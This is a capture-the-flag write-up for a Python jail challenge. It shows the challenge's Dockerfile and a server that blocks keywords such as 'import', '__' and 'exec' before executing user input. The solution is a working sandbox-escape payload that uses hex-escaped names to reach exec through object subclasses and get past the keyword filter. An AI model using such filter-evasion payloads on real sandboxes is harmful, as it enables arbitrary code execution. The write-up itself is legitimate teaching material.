+# exceptional pyjail
+
+i think this is mmmmmmmmmmmmmmmmmmmmmmmmmmmmm's first challenge
+
+## problem
+
+![image](https://github.com/quasar098/ctf-writeups/assets/70716985/063867e8-cfc6-4f86-acaa-619421764c88)

+Dockerfile
+```dockerfile
+FROM ubuntu:20.04

+RUN apt-get update -y && \
+    apt-get install -y python3-pip python3-dev ncat
+
+WORKDIR /app

+
+server.py
+```python
+#!/usr/bin/env python3
+
+import string
+import sys
+
+a = input(">>> ")
+if any(i in a for i in ["import", "__", "[", "]", ".", "exec", "eval"]):
+  print("not allowed")
+  sys.exit()
+if any(i not in string.printable for i in a):
+  print("no")
+  sys.exit()
+with open("flag.txt") as file:
+  flag = file.read()
+sys.stdout = "lol"
+del sys
+exec(a)
+```
+
+## solution
+
+stderr is still available so i made this overengineered solution where stdout is replaced with stderr but it didn't even matter anyways because `getattr(dict(),'\x5f\x5fgetitem\x5f\x5f')(flag)` also works
+
+```py
+getattr(getattr(getattr(getattr(getattr(getattr(getattr(getattr((),'\x5f\x5fclass\x5f\x5f'),'\x5f\x5fbase\x5f\x5f'),'\x5f\x5fsubclasses\x5f\x5f')(),'\x5f\x5fgetitem\x5f\x5f')(-4),'\x5f\x5finit\x5f\x5f'),'\x5f\x5fglobals\x5f\x5f'),'\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f'),'\x5f\x5fgetitem\x5f\x5f')('ex\x65c')("\x71\x3d\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x73\x79\x73\x27\x29\x3b\x71\x2e\x73\x74\x64\x6f\x75\x74\x3d\x71\x2e\x73\x74\x64\x65\x72\x72");print(flag)
+```
+
+what the above does is get `().__class__.__base__.__subclasses__()[-4].__init__.__globals__['__builtins__']['exec']('q=__import__('sys');q.stdout=q.stderr');print(flag)` which is overkill ngl
